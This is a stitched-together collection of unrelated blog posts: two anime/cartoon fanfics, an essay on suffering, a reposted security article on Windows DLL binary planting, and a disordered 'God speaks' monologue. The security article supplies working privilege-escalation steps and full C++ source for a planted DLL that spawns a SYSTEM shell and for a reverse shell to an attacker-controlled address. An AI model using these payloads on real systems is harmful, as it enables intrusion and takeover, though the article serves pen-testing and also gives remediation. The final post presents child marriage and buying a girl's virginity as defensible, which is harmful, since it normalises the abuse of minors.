"I never even thought...I should have let you say goodbye to your friends. I shouldn't have just taken you away like that," said Ashi regretfully.

Jack wrapped an arm over her shoulder, bringing her close. "No, you did the right thing. As much as I would have liked the opportunity, Aku would not have let me get a word out. Getting back to the past when we did saved their lives. Father is right. I am happy knowing that, one day, they will lead peaceful lives."

Ashi leaned her head against his shoulder, curling her arms around his waist. "I think Yasu is a beautiful name, as is Jack. I think they both fit you. But what would you like me to call you?" she asked softly.

Jack thought for a moment. He thought of his innocent eight-year-old self, running through the fields chasing crickets. He thought of his time spent training in the deserts of Egypt and the wilds of Africa, when he knew he needed to face a great threat but did not quite know what. He thought of his years spent in the now-defunct future of Aku, of the experiences that made him stronger, of the friends that showed him that evil could never extinguish hope or righteousness.

His father was right. A name did not define a person. But there was meaning behind a name, and he had chosen his without ever really realizing it.

"I am Jack," he said with conviction, and he swore he could hear the Scotsman's laugh, could picture his amusement at how seriously he was taking this matter. A smile spread across his face, and the stars suddenly seemed to shine brighter. "Samurai Jack."

#samurai jack #samurai jack fanfiction #samurai jack spoilers #byanimationnut #ashi #the scotsman

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sagebodisattva · 5 years

Text

The Suffering of the Sacred Cow

So I was asked by a commenter if I ever really truly had deep pain and suffering in my life. I told him that we have all experienced these things to one degree or another. Then I told him that Cash Snowden recently told me something about suffering that I thought he might appreciate., which was:

“Suffering requires a narrative. Pain can be embraced, enjoyed. Suffering and pain are not the same thing. Suffering requires a story in the mind told and believed. Without that story being told and believed, there is just phenomena. The presence of phenomena doesn't have the power to make us suffer. Only our reaction to objects and circumstances can make us suffer."

And to this, the commenter replied:

“Meta Sage. I fully understand that. But it doesn't negate it all. We simply cannot suppress the mind day to day. It's just more insensitive stoicism rhetoric. It's like Rorschach who thinks he has Dr. Manhattan's perspective, haha. You told a commenter that he doesn't have empirical experience under your rock ? video. Okay, fair enough. How can you understand someone else's experience with pain and suffering? It's not all the "same same" visages that dance along. Consciousness is the same, but points of perception have no right to point to stoicism on a soap box as a remedy. Your perspective seems to blame everything on points of perception forgetting that we are a part of the whole. There's no way of wading through this contextualization's "temporary aspects of functionality" and still remain in it.”

So, what exactly is up for this proposed negation that cannot be negated? Does it have anything to do with the actual pain and suffering, or is this just referring to a victimology?

If we can fully understand that suffering is caused by a reaction to circumstances and a narrative told to oneself, then the remedy is clear, isn't it? How isn't it not the same same visages that dance along? Because the specifics of my melodrama are different then the specifics of his melodrama? I mean,... isn't it all melodrama? How is it not all the same same? To think that one's own suffering is somehow more valuable than someone else's, is opinionated and biased.

No one is saying to repress the mind. It wouldn't really be accurate to say that anyway. The mind cannot be repressed; only emotions, feelings, impulses and reactions can be either expressed or repressed. And that isn't what's being advocated around here. I say, don't express or repress. Let it flow through you; witness it, be present, be fully aware of it, but don't feel the need to interfere, with attempts at trying to block it or boost it. Our assistance isn't required. Really.

Much of life is about pain and pleasure management. These stimuli will occur again and again, but it need not cause us to suffer or to have an orgasam... Or, to be put another way: to indulge in attachments, that is, seeking to sustain certain circumstances or seeking to avoid certain circumstances. Depression or euphoria are the psychological result of the indulgence into the narratives associated with the stimuli, it's not a state of being victimizing us. It's a self imposed state, so to speak. To say that these things are insensitive stoicism really makes me wonder about the motive of those who like to wear their suffering like some kind of red badge of courage. Like assuming a victim status affords one of some special standing. It's a little bit annoying.

I find it very unbecoming for people to revel in victimhood. They think no wisdom or activism should apply to them, feel they are above any effort to overcome obstacles, and feel they have some sort of higher ground from which they can wag their fingers at everyone, this alone being the extent of their efforts, and of which they think is duefully theirs by rights, and of which is an exercise of ample action. And if you happen to disagree with them, then all you need is a hammer to the eye, or a family member to be wracked by disease, in order for you to understand their perspective, and hence agree with their narrative.

No, that's all wrong, and it's none of that which is imagined. That is playing the victim, plain and simple. It doesn't give one any special understanding, nor does it elect one to some automatic podium of spirituality.

And besides, isn't that forgetting the relativity of our pain and suffering? Just as we try and minimize others because we feel we have endured so much more suffering then them, realize that there have been, and still are, many others who have experienced pain and suffering the likes of which makes our own pain and suffering seem like tea time at the cat pajama show. So, maybe our idea of loftiness from suffering really isn't that warranted, when there have been others who really have had it much much worse then us. Is that fair? Does it make sense? Or isn't it more realistic to understand that we all know what suffering is, but some experience it more often and to a higher degree then others. But does that fact discount anyone's suffering? Or anyone's right to speak on suffering? Or their suggestions as to the remedies for suffering?

Granted, we don't know the exact configurations of each other's experience with suffering, but that isn't saying very much. Understand, no one is trying to dismiss your suffering as invalid. No one is trying to take a shit on your suffering. No one is saying you don't have a right to feel the way you do about it. In fact, I am very compassionate and empathetic towards your suffering. I wish I could take it all away and send soothing relief over you, to wash away all your pain. But just because our experiences with suffering are not identical doesn't mean we can't speak on the issue together, and explore remedies.

It's not the same as what I told the commenter in my rock video. When referring to the illusion and nature of reality, we can't just say "I understand", because we have gathered some intellectual information on the subject. When it comes to understanding the nature of reality: study, research, gathering knowledge, and building an intellect of details, emphasizes the WRONG approach. It's not a matter of learning. It's not a matter of adding. Empirical understanding is what is required, and this entails a slow gradual deconstruction process of emptying, uncovering and the removal of mental blockades. You unlearn it and realize it. It's clear seeing. If someone doesn't realize it, it's quite clear because, despite saying they understand it with words spoken, it's apparent to anyone who has already realized it, if they really do or not. Someone who understands and realizes the nature of reality doesn't point to perceivables as having responsibility for their inner condition. Someone who is constantly externalizing and referencing the outside world as the source of their problems clearly hasn't made the hurdle. There's no faking it, or any way to grasp it through knowledge. So this is why this example is not on par with the experience of suffering. We all understand pain and suffering to different degrees, so this unites us, and we can all identify with it and share different methods of managing it.

Physical pain comes and goes. If it remains constant, soon tolerance is developed. But generally, pain is not something that sustains as such. But even if such a situation cropped up, wherein non-stop constant pain continued and no tolerance was acquired, there are still different ways to quell it, even if it means taking morphine for relief. Any pain can he healed, it's just a matter of finding the right method.

As for suffering, this is within our ability to control. And I'm not sure why anyone who is suffering would resent possible ways offered to overcome it. People that enable your suffering are not really your friends. Is that what we want? Do we want to be babied? Will it make us feel better if someone diapers and burps our suffering? Ok, maybe a moment of that is nice, but after that, it's time to lift our head up high and take a walk in the sun.

Because if not, then why are you here? If you say you have chronic pain and that there is no way to reduce it, I could either just dismiss you, and say yeah your right. Nothing I am trying to show you can help you, so just ignore my videos, OR, I am gonna keep on encouraging you with my methods.

So then, who says I have no right to point to stoicism as a remedy? It's a good remedy. It's a solid remedy. I want to offer positivity and strength to people who suffer. It's not always insensitive to slap someone out of a torpor stupor. It's actually a disservice and injurious to enable someone to maintain a victim mentality. I would argue that any true stoic is only a stoic because they have had to grapple with extraordinary suffering, and have been able to transact the maneuver I am referring to. Stoics that can laugh, joke and smile, as they are being bull whipped. You know. The ones that don't bat and eye, and wink at you, as they are being crucified. If I were someone who experienced a lot of pain and suffering, I would seek to learn from the stoic, not dismiss them out of hand as insensitive.

I'm not sure what you mean when you say that I seem to want to blame everything on individuals forgetting that they are part of the whole and that there's no way of wading through this context's temporary aspects of functionality and still remain in it. So, I'll just say that nobody is a “PART” of any whole. There is only whole. Parts are apart of the delusion. You are the clear seeing, and not the seen. And what is the seen? Anything beyond the seeing, which includes, your physical body, your psychology, your ego, your environment, other people, the world, the universe and the context of all of these things. So you see, even by me pointing that out just now is insensitive to the standard world view of what a self is.

But that's one thing you should understand about the Meta Sage. I'm a Nihilist. I commit menticide on a regular basis. I am here to undermines your values, reasons, purposes and narratives. But if you watch my videos with any regularity, you should know this already. I go after everything, not just religion and dogma. I am a reality deconstructionist, and everything is on the table. Even suffering.

Yeah, maybe I'm a little insensitive, but it comes with the territory. Spirituality is not really about happy songs and gay dances. Spirituality is about going to war. It's about destroying untruths, and tearing down false foundations. So if that's the charge, then I guess I'm insensitive. But remember, I don't twist anyone's arm and force them to my channel. If you want to be jerked around, there's plenty of fluff to be found out there. There's plenty of fare that appeals to the lowest common denominator. But if you know who I am, and keep returning here, don't bring along any sacred cows.

#suffering #sacred cow

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plumoh · 7 years

Text

[KinKage] in a not so subtle way

Word count: 1173

Summary: Tobio has a dream; he will do anything to safeguard it.

Note: AO3 link.

Part 1 | Part 2 | Part 3 | Part 4

Day 4: dreams/nightmares – in a not so subtle way

Tobio has sent a message to Tooru to inform him that he couldn't gather data anymore, and in very few words said he found a reliable source of information. Obviously, Tooru wasn't pleased and kept invading his brother's phone with texts and missed calls, which led Tobio to turn off his device in an irritated gesture. In retrospect he can't quite blame him for being overly worried and insistent, since they had a case on their hands and risking misinformation on behalf of stubbornness would be really, really stupid. Oh well. Tobio can manage on his own, and his brother is smart enough to handle the situation alone with a firm grip.

Despite the bizarre circumstances of their meeting, Kindaichi and Tobio found themselves engrossed in a discussion, albeit a bit careful around the edges. Tobio hasn't expected so much open-mindedness and naivete from the other man, even though he has witnessed first-hand his beliefs. Getting into an underworld job didn't suddenly make people's views and personalities change. It would be truly terrifying if they could mold a whole group's opinion in a snap of fingers.

(Didn't prevent them from forcing newcomers to take some vows to avoid treason.)

“People know and are wary of Tooru, but they don't really care much about Oikawa Tobio,” Tobio says offhandedly when Kindaichi asks about his notoriety. “I mean, you didn't even know who I was and you mistook me for my brother. That says a lot.”

“I'm sure someone who is more familiar with the Crown wouldn't have made the mistake,” Kindaichi asserts.

“Can't say. I'm pretty much my brother's shadow.”

Kindaichi looks genuinely confused and maybe a bit baffled at such an easy admission. Tobio doesn't see why this is so surprising—Tooru is older, automatically making him the wiser and the more experienced, the one who draws all the attention while Tobio stays behind to follow the path already created.

“And you accept it like that?” Kindaichi asks with disbelief. “I wouldn't like being overlooked...”

“That's always been the way it was,” Tobio answers, shrugging. “It doesn't bother me. I'm used to, anyway. I'm not a huge threat like Tooru is.”

Assassins go for Oikawa Tooru. Leaders ask for Oikawa Tooru's head. Subordinates protect Oikawa Tooru in priority. This is normal. Tobio has never dreamed of something bigger than forever standing beside his brother; it feels like both a goal and a constant in his life, like he can't quite put a name on this want—he feels admiration, love, yearning, and the ugly feeling of fear.

“Tooru is amazing, even if he doesn't show it half of the time.”

Fear of how talented his brother is.

“People just. Assume he's either frivolous or dangerous.”

Instant intimidating aura, imposing and powerful.

“I can't really compare to him, and I'm better at backstage stuff anyway.”

Fear of being left behind.

(He has never dreamed of something bigger than forever standing beside his brother.)

Kindaichi stays silent, probably processing everything but Tobio isn't looking at him. He's just lost in thoughts, slowly realizing he has just confessed way too much personal information to a total stranger (a stranger he felt the need to save) without batting an eye. This is weird, this is wrong, this is writhen—

Tobio snaps out of it by abruptly standing from the chair, snatching his phone and sifting through his messages. He taps at Tooru's last text and quickly types an answer which has nothing to do with the content he's replying to (“Tobio-chan I swear I will come find you and tickle you until you die”). His mind's made up.

This is really, utterly laughable, and his past self would question his every move with a hit at each query. Whatever. Can't backtrack.

He hits send.

“From now on, I've decided to train you as one of my men,” Tobio states, looking up to lock eyes with Kindaichi.

The assassin gapes.

“What?! You can't decide that on the spot!”

The few minutes of awkwardness and heavy tension suddenly disappeared, replaced by the ultimate form of astonishment that one can experience once in their life, leaving Kindaichi completely naked in front of this bold declaration. Tobio's lips tug upwards in amusement, and if the situation wasn't already a mess, this sight would have dealt massive damage.

“I do it for my own benefit too, so don't be so surprised,” Tobio clarifies. “You've worked with the Elements.”

“Not for long!” Kindaichi interrupts.

“Even if it was a short period of time, that's still better than nothing. We need data and we can't let them infiltrate our territory again. Well, we can't let them try murder someone after their failed attempt. Your knowledge might come in handy and you're not that bad, with proper training.”

“Wait a damn minute, Oikawa.” Kindaichi heavily sighs and pinches the bridge of his nose. “Yesterday I was trying to kill you. Today you save me. Now you offer me a job in the Crown? At your side?”

“I told you, this is in my interests.”

“That's not the point! How can you... I don't know, trust someone you've just met?”

Tobio frowns. His fingers are clutching his phone, as if that would help him staying on his toes instead of regretting his choice, but what throws him off the most is Kindaichi's reaction to his proposal—well, his decision. He's not angry, not confused, but anxious. Is it really anxiety? Anyone would be thrilled at the prospect of working for the Crown thanks to a direct offer, thus avoiding the bloodshed that could occur if someone covets the same position. Tobio scratches his cheek.

“I can't say I trust trust you, because I'd be stupid to fully trust someone, but I guess I can believe in your abilities. That's all.”

“This is still crazy,” Kindaichi mutters. “Who says I'm not going to turn my back on you?”

“Tooru already warned me about this, I'm taking the risk.”

He then takes a few steps forward, resolute and strong, and stands next to Kindaichi. His face doesn't show any of the mirth from earlier, nor does it display a neutral expression. Kindaichi looks at these blue, blue eyes, shining with resolve and a glint that hisses imminent danger in his ear. Tobio leans, towering over the assassin.

“And if you do betray me, I'll have no reason left to spare you.”

Kindaichi's eyes are wide, holding up Tobio's gaze with equal intensity, though he seems fully aware of what these words entail. Satisfied, Tobio straightens and buries his hands in his jacket's pockets.

“It's up to you. You work for me, I ensure your safety. That's a reasonable deal.”

If his impulsiveness is what faults him, then he will take the challenge. A dream comes with its nightmares; Tobio won't stop and will seize every opportunity to maintain the equilibrium. An equilibrium in which he will fight to protect, love to kill, and stand proudly on his feet.

Kindaichi Yuutarou nods, despite the trembling edges of his frame.

#kageyamararepairweek #kinkage #kindaichi yuutarou #kageyama tobio #haikyuu!!#my fanfic

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terabitweb · 5 years

Text

Original Post from Security Affairs Author: Pierluigi Paganini

While we were thinking about a way to escalate privileges during a pen-test, we discovered that most Windows installations were vulnerable to binary planting.

A long time ago, while we were thinking about a way to escalate privileges during a pen-test, we discovered that most Windows installations were vulnerable to binary planting. We contacted Microsoft, but they claimed that it was not a product vulnerability since security had been weakened by 3rd party applications that allowed overly permissive file access. On the one hand this was correct, but on the other, those 3rd party applications (the publishers of which were also notified) were not the only ones to blame as the insecure DLL search path is definitively part of the operating system and tries to load another DLL from Microsoft which does not exist.

Anyway, sometime later I continued the research and start developing a tool in order to help detect similar vulnerabilities and exploit them. However, days are too short and I never managed to take the time to finish it. So, I decided to publish the few 0-days I still have on Windows in order to help other pen-testers while they still work.

TL;DR

The initial vulnerability that we discovered in October 2012 was related to the “Internet Key Exchange and Authenticated Internet Protocol Keying Modules”. Those modules are used for authentication and key exchange in Internet Protocol security. The problem was that they try to load a DLL which doesn’t exist. This leaves the operating system vulnerable to various binary planting opportunities that depend on the PATH environment variable.

In fact, the “IKE and AuthIP IPsec Keying Modules” service is started automatically under the “Local System” account and points to “svchost -k netsvcs” which then loads “IKEEXT.DLL”, which in turn attempts to call the missing “wlbsctrl.dll” file by looking in the following directories: the loading directory, %WINDIR%System32, %WINDIR%System, %WINDIR%, the current working directory, and %PATH%. If one of the folders from the PATH environment variable is writable, then any authenticated user can plant a nasty DLL file which will be executed as SYSTEM during the next reboot.

This binary planting can be exploited when a program gives too much access (e.g. Create Files / Write Data privilege for anybody) on a local subfolder that is ultimately added to the PATH environment variable. Such a problem is very frequent with the root folder since access permissions for files and subfolders are inherited from the parent directory when a directory is created in “C:”. Members of the “Authenticated Users” group have the “Create Folders / Append Data” right on all directories created within the root folder, which may then offer an enticing privilege escalation vector. So, any member of the “Authenticated Users” group can escalate his privileges to “SYSTEM” when an application that does not restrict write access to its folder is installed and gets added to the system PATH environment variable. Something which occurs quite frequently. Additionally, many developers and sysadmins also modify the PATH manually to facilitate their daily duties or migration phases. This too will often permit an attacker to trigger the vulnerability.

From Microsoft’s point of view, the 3rd party vendors are to blame because the vendor’s installer didn’t remove the write permission on their application directory before adding it to the PATH. From the perspective of 3rd party vendors, Microsoft is to blame because Windows tries to search for another Microsoft DLL which doesn’t exist. While, in a sense, both are right, it is the end user who ultimately pays the price. Because neither Microsoft nor the 3rd party developers assumed their own responsibilities, Windows users stayed exposed for many years.

Others have since done a great job of automating the exploitation of the vulnerability, e.g.: “itm4n” created a PowerShell script to trigger the vulnerability by opening a dummy VPN connection with “rasdial” to force the vulnerable service to start. There is also a “ikeext_service” module in MSF thanks to “Meatballs”, which permits one to leverage an insecure path to plant your favorite Meterpreter.

Today the automated trigger is still far from being guaranteed and it often requires a reboot in order to load our malicious DLL as SYSTEM. This presents no issue for a Black Hat, but is quite limiting for a Red Team. So, the time had come to find other binary planting opportunities… This is why I started the Inseminator project, the goals of which were to:

Identify writable directories from the path.

Enumerate binaries involved by services which start as NT AUTHORITYSYSTEM.

Generate a list of DLLs loaded by those services.

Parse those DLLs to identity other loading of DLLs and update the list accordingly.

Check if each of the DLLs in the list exists in a system directory.

Automate the exploitation by planting an arbitrary DLL in the right place with the right name and offering several payload opportunities.

Unfortunately, this project was put on stand-by for a long time and I couldn’t find the time to finish it. I will therefore publish today some raw findings.

Inseminator’s output sample

0-day

The most interesting binary planting opportunities are the ones which are related to system services, since they permit escalation to the highest level of privileges on the target. To identify them, I simply used a logger for the payload and created a bunch of testing DLLs with a command like this one:

for /F "tokens=*" %A in (BinaryPlantingList.txt) do copy poc.dll.logger64 c:Python27%A

It turns out that:

Upon startup the “svchost.exe” is executed with the “utcsvc” service group, which starts a single service called “DiagTrack” (i.e., the “Diagnostics Tracking Service”) by loading “C:WINDOWSsystem32diagtrack.dll”. This library tries to load the missing DLL “diagtrack_wininternal.dll” several times per day.

The “diagtrack.dll” also tries to run the missing “WindowsPerformanceRecorderControl” and “diagtrack_win.dll” libraries from time to time (but less often than “diagtrack_wininternal.dll”).

The library “diagtrack_win.dll” is also called by the “Microsoft Compatibility Appraiser” system task, which is scheduled to run “C:WindowsSystem32CompatTeldiagtrackrunner.exe” at 3am by default (and runs whether a user is logged on or not).

The library “WindowsPerformanceRecorderControl.dll” is also invoked from time to time by other libraries, like from “C:Windowssystem32TelLib.dll” or through the debugger engine with a call from “dbgeng.dll”.

The “Diagnostics Tracking Service” was initially pushed as an optional Windows 8.1 update (KB3022345) to collect personal data and send it back to Microsoft. However, these days this service is not really an option and is used by Microsoft to collect data about functional issues in most versions of Windows. So, it is maybe its fate to ultimately permit arbitrary code execution. This is yet another reason for end-users to not like this tracker. Moreover, it’s likely possible to trigger the call on demand by generating an error, since logs are collected when a functional problem is detected.

There is also some other insecure DLL loading brought by 3rd party applications. I, for example, have already witnessed McAfee VirusScan Enterprise engine trying to load a missing “mfebopa.dll”. A DLL which was initially intended to provide a behavioral “buffer overflow” protection, but in this case offered a substantial privilege escalation opportunity.

Tracking high-privileges libraries calls with DLL-based loggers

There are also some less interesting binary planting opportunities which still permit the loading of arbitrary libraries, but in the context of the current user. A vulnerability that is not as useful from a local privilege escalation perspective, but which may still open some doors on shared systems and kiosks. Firefox, for example, often tries to load the missing “dcomp.dll” library, and the ClickShare wireless presentation system from Barco always tries to load the Microsoft Direct3D library “d3d8.dll” which is not always present when users plug in the projector’s USB dongle.

Tracking low-privileges libraries calls with DLL-based loggers

Exploitation

Many 3rd party applications do contain a writable sub-folder which is part of the PATH environment variable. For example, I identified issues with Roxio, HP Digital Imaging, ACER eDataSecurity, Micros Systems OPERA, OpenView OmniBack, Novel Groupwise, IBM AppScan, Python, Perl, Ruby, TCL, PHP, MySQL, Zend, and many others. As a rule of thumb, development tools often permit an attacker to leverage these vulnerabilities.

In practice, the easiest way to get local admin rights on many Windows systems is to simply put your favorite DLL in a writable folder that is part of the %PATH% and give it the name of one of those missing system libraries. You then just need to wait and your code will be executed several times by the end of the day as NT AUTHORITYSYSTEM (even if it’s a production server which is never rebooted).

The DLL will be executed by a system service and will therefore run in session 0, which is non-interactive. Since Vista, services are isolated that way to protect them from malicious code running in a user’s session (starting from session ID 1). However, this does not really present a problem to our exploit. If our payload tries to interact with the desktop (for example, by running a CMD), the “Interactive Services Detection” service will draw a blinking button on the taskbar and prompt the user to “view the message” and enjoy our code in the desktop from session 0. The “UI0Detect.exe” binary invoked by “Interactive Services Detection” has now been removed from Windows 10 v1803 and Windows Server 2019, but those OSes are not our targets here.

The Interactive Services Detection kindly permits us to interact with our payload running in session 0

Our planted DLL is running with the highest level of privileges

When we have our SYSTEM shell in session 0, we can then easily get another shell in the usual session 1, for example, with PSEXEC:

psexec -s -i 1 -d cmd.exe

We can then close our original shell and return to the standard user desktop to keep enjoying a SYSTEM shell.

After removing the DLL calls monitoring, here is what’s left in the payload. This quick and dirty code will permit you to compile a DLL that runs a local shell when it gets loaded:

// Compiled with mingw64 in Codeblocks // Static compilation: -static-libgcc -static-libstdc++ // 64 bits compilation: -march=x86-64 -m64 // Linker options: --static -lwsock32 -lws2_32 #include "main.h" #include extern "C" DLL_EXPORT BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: STARTUPINFO si; PROCESS_INFORMATION pi; memset(&si, 0, sizeof(si)); memset(&pi, 0, sizeof(pi)); DWORD creationFlags; si.cb=sizeof(STARTUPINFO); si.lpDesktop="winsta0\default"; creationFlags=CREATE_NEW_CONSOLE; creationFlags|=CREATE_NEW_PROCESS_GROUP; creationFlags|=CREATE_BREAKAWAY_FROM_JOB; CreateProcess("C:\Windows\System32\cmd.exe", NULL, NULL, NULL, FALSE, creationFlags, NULL, NULL, &si, &pi) ; break; case DLL_PROCESS_DETACH: break; case DLL_THREAD_ATTACH: break; case DLL_THREAD_DETACH: break; } return TRUE; }

Obviously, we might prefer opening a shell on a remote system instead of the local target, thus avoiding local interactions with the desktop in session 0.

I advise against directly using a reverse Meterpreter, since it would be caught by any AV. A preferred way is to simply open a socket and spawn a reverse shell to an attacker-controlled system, and then to play with Mimikatz or Meterpreter injection in a second phase. Here is another quick and dirty code example which does just that:

// Compiled with mingw64 in Codeblocks // Static compilation: -static-libgcc -static-libstdc++ // Compiler options: -march=x86 [for 32 bits] or -march=x86-64 -m64 [for 64 bits] // Other compiler option: -Wno-write-strings // Linker options: --static -lwsock32 -lws2_32 #include #include #include // Set you remote handler here: #define IPADDR "192.168.19.128" #define PORT 443 using namespace std; SOCKET sock; int getSocket() { SOCKET sock; SOCKADDR_IN sin; sock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 ); sin.sin_addr.s_addr = inet_addr(IPADDR); sin.sin_family = AF_INET; sin.sin_port = htons(PORT); connect(sock, (SOCKADDR *)&sin, sizeof(sin)); return sock; } std::string InitMe() { sock = getSocket() ; STARTUPINFO siStartupInfo; PROCESS_INFORMATION piProcessInfo; memset(&siStartupInfo, 0, sizeof(siStartupInfo)); memset(&piProcessInfo, 0, sizeof(piProcessInfo)); siStartupInfo.cb = sizeof(siStartupInfo); siStartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; siStartupInfo.hStdInput = (HANDLE)sock; siStartupInfo.hStdOutput = (HANDLE)sock; siStartupInfo.hStdError = (HANDLE)sock; CreateProcess(0, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &siStartupInfo, &piProcessInfo); //WaitForSingleObject(piProcessInfo.hProcess, INFINITE); return "TRUE"; } extern "C" __declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: WSADATA WSAData; WSAStartup(MAKEWORD(2,0), &WSAData); InitMe(); break; case DLL_PROCESS_DETACH: break; } return TRUE; }

Remediation

Be careful about your %PATH%! Pay attention to 3rd party applications which may silently add a writable directory to this environment variable (especially if they install on the root drive), and don’t make the same mistake yourself.

Here is another quick and dirty piece of code in Python 2 to help you identify writable folders in your %PATH%, where any missing DLL could be planted by a bad guy:

import os import sys sysPath = "path" filetest = "\inseminator.wperm" def is_writable(path): # Checking Write Permission try: filehandle = open(path, 'w') filehandle.close() os.remove(path) return True except IOError: return False print("[+] Searching for writable folders within %PATH%") try: require = os.environ[sysPath] except KeyError: sys.exit(" [-] Unrecoverable error: %" + sysPath.upper() + "% variable is not defined!") dicPath = os.environ[sysPath].split(";") WritablePath = [] for item in dicPath: if item: if is_writable(item + filetest): print " [-] Directory '" + item + "' is writable" WritablePath.append(item)

If any writable directory is found, you should either remove it from the %PATH% or harden ACLs to ensure authenticated users (and any other untrusted accounts) are unable to write inside.

It is also advised to create some dummy DLL files in %WINDIR%, since this directory has a higher priority than PATH folders but is only queried if the searched libraries are not present in either the loading directory or %WINDIR%System32 and %WINDIR%System. At a bare minimum, it is advised to create those fake libraries if they do not exist on your system:

diagtrack_wininternal.dll

windowsperformancerecordercontrol.dll

diagtrack_win.dll

wlbsctrl.dll

To a lesser extent, it is also advised to create these dummy libraries:

mfebopa.dll

dcomp.dll

d3d8.dll

That’s all for today. Happy planting!

About the Author: Frédéric BOURLA Frédéric began his career in 2000 as a Systems and Networks Engineer, and has increasingly specialized in IT Security over the years. After managing a Tier 4 PKI Data Center, he transitioned into the fields of Ethical Hacking and Computer Forensics. He ultimately dived into the world of DevSecOps for government solutions, and he is currently a Security Consultant in the Geneva region of Switzerland.

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(SecurityAffairs – Windows, binary planting )

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Go to Source Author: Pierluigi Paganini A few binary plating 0-days for Windows Original Post from Security Affairs Author: Pierluigi Paganini While we were thinking about a way to escalate privileges during a pen-test, we discovered that most Windows installations were vulnerable to… 2,352 more words

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lorainelaneyblog · 6 years

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People want to know why Loraine Laney stopped writing tonight already when sometimes she writes into the day. It’s because she’s talking to two of her favorite doctors, Doctor [ ], psychiatrist, and Doctor [ ], facial reconstructive surgeon, about the book. They are delighted to hear you say that equality is impossible Loraine, and specifically because men are superior, well done, Loraine, with that, says God, ancient cultures agree, and Loraine is a little bit familiar, as a Vancouverite, with both, Doctor [ ] and Doctor [ ]. It was never lost on her that this was the belief of these two cultures, the south Asian culture and the Chinese culture, and she was aware, through feminism of such things as hysteria, penis envy, the male sex right, and even, Loraine, you won’t believe this yourself, but abortion, strategic abortion. Yes, she sure was aware of that, and now she believes it was to prevent girls from entering the sex industry itself.

‘She’s right,’ says one Indian women. ‘She’s exactly right. Why did you finally think that, Loraine?’

‘It was unbelievable that people wouldn’t love their little girls.’

‘True, advantageous employment wasn’t enough, was it? Especially in light of the dearth of women, that didn’t make sense to anyone. But, because we lived in poverty, we knew the outcomes for girls, and it was so unpleasant, Loraine, that we killed girl babies in droves, Loraine. How do you feel about early marriage, Loraine.’

‘Answer that, Loraine.’

‘I think it’s a mistake to outlaw early marriage because marriage should be available to girls who are starting their sexual lives.’

‘What if marriage is their sexual life?’

‘I think this is, again, a problem of poverty.’

‘It is Loraine, you’re right. Why?’

‘Because God has illuminated that the true May Decembers only number about five percent, and most men prefer the woman to be about two years younger.’

‘And that’s it? Why is this happening now, and not before then?’

‘Two reasons. Equality whitewashes dominance and submission in the bedroom and men seek younger partners, dumber partners, smaller races, ostensibly more submissive races, while women do the opposite to right this resulting boredom.’

‘Oh right, and what else?’

‘Promiscuity causes men to seek younger and younger women to escape a woman’s past.’

‘Oh shit. Because we’ve noticed that the number of child brides has increased exponentially, Loraine, and we don’t feel good about it, and we changed the age for marriage, even though we knew what you believed to be true, which is that girls need marriage to come along with sex. But, seriously, the age fell to as low as twelve, and the girls were not happy, and we had to outlaw it, Loraine. What do you think of that?’

‘Holy shit.’

‘What?’

‘Well, how are you going to keep young women from having sex before the age of legal marriage though?’

‘Oh yeah, we made it sixteen.’

‘I thought it was better to allow it, and force psychological, psychiatric, and even spiritual examinations prior to sex or marriage occurring.’

‘What would that do?’

‘It gives the girl a chance to examine her desire. That’s the saddest part of these marriages, isn’t it?’

‘What?’

‘It’s unlikely a passionate union.’

‘What if they’re equal intellect?’

She argued that men hold the social power while women hold the sexual power, and that that was basis enough to support marriages between older men and younger women. She did so based on what she was seeing in the news, mostly abuse cases. She thought that maybe there was something viable in these relationships. She wasn’t exactly wrong. When girls turn to prostitution, Loraine, it is because they are dealing with the attentions of men, as you also argued. And there, according to me, God, is no reason why an older man couldn’t pay for the virginity of a girl, no reason at all, but to corral her into marriage for an entire lifetime, when her attractions are, and I am God, to men about two years older, and this is very, very, very, very, very, very, very, very, very, common, Loraine, is a travesty, a travesty, Loraine, and you can see the depression in the young bride’s face, can’t you?

‘Yes, I would say, how much of this have I actually seen, in the news, God?’

Some, Loraine, that Facebook thing was a set up, and the girl was supposed to act really depressed, but it was a trap for many because they actually believed it was real. It was sad and stupid but it sent the message, and this is how those unions actually are, as well. And, you’re right, Loraine, there is something to age and intellect, your intellect grows, and it is hard to relate to someone majorly younger, hard, Loraine, hard, Loraine, and these men found themselves, and many divorced, seriously deprived of passion, Loraine, believing, as they did, that a high libido of a young person, another misconception, would overcome the problem of a bad match. Wrong.

Yes, Loraine, despite stonings promiscuity went to India too, yes, it did, yes, it did, yes, it did. Don’t call down my new messiah please, we are perfectly in agreement about all of her decisions, perfectly. She has one hundred percent heart-God cohesion, and all of her decisions have made me happy, and one pleased me immensely, and that was when she decided to pursue 50 Cent. Yes, 50 Cent, she knew you were promiscuous, of course she realized that musicians, most of them, take advantage of their fans, yes, she did, she heard the line “buy them some pizza” or whatever it was and it disgusted her, disgusted her, a slice of pizza for your virtue is a disgusting concept, Loraine, and that is why my rappers are high and rock stars are low, they believed that piece of shit, Loraine, but the blacks knew better. If you have no money, you lock it down and offer what you can, and get permission from your wife to get what you can, without hurting people, by being honest. Ask that, 50 Cent.

‘Why can’t you do that while single?’

You can, I’m just bugging you, 50 Cent. I am. You can. You have to read each girl the riot act though, and basically, not basically, exactly, tell them they haven’t a hope in hell with you.

‘Why does this little idiot have a hope in hell with me, when so many nice girls come out and suck my dick, why, God? Because I’m confused myself a lot of times, about that.’

She had high enough self esteem to eschew dropping to her knees in favour of fighting for a real relationship.

‘Are you saying I automatically disrespect them, God?’

No, you are not like that, 50 Cent, and you have enough experience yourself to maintain the generosity of giving many’s the woman a chance at your heart. But Loraine Laney knew she wouldn’t stand out to you, so she set out to win your heart and mind, and she did that, didn’t she?

‘Yes, she did, God. Did she think I was a big, dumb, black, fool?’

Who didn’t know pretty girls, you mean, says God.

‘I know the answer, because she has said she wasn’t playing the race card, because she had seen that in Vancouver, in the early days of immigration, and we saw it ourselves in the early days of black immigration, they would marry and date the dominant culture, and often the women were not as pretty as they were. And it is probably true that men come first.’

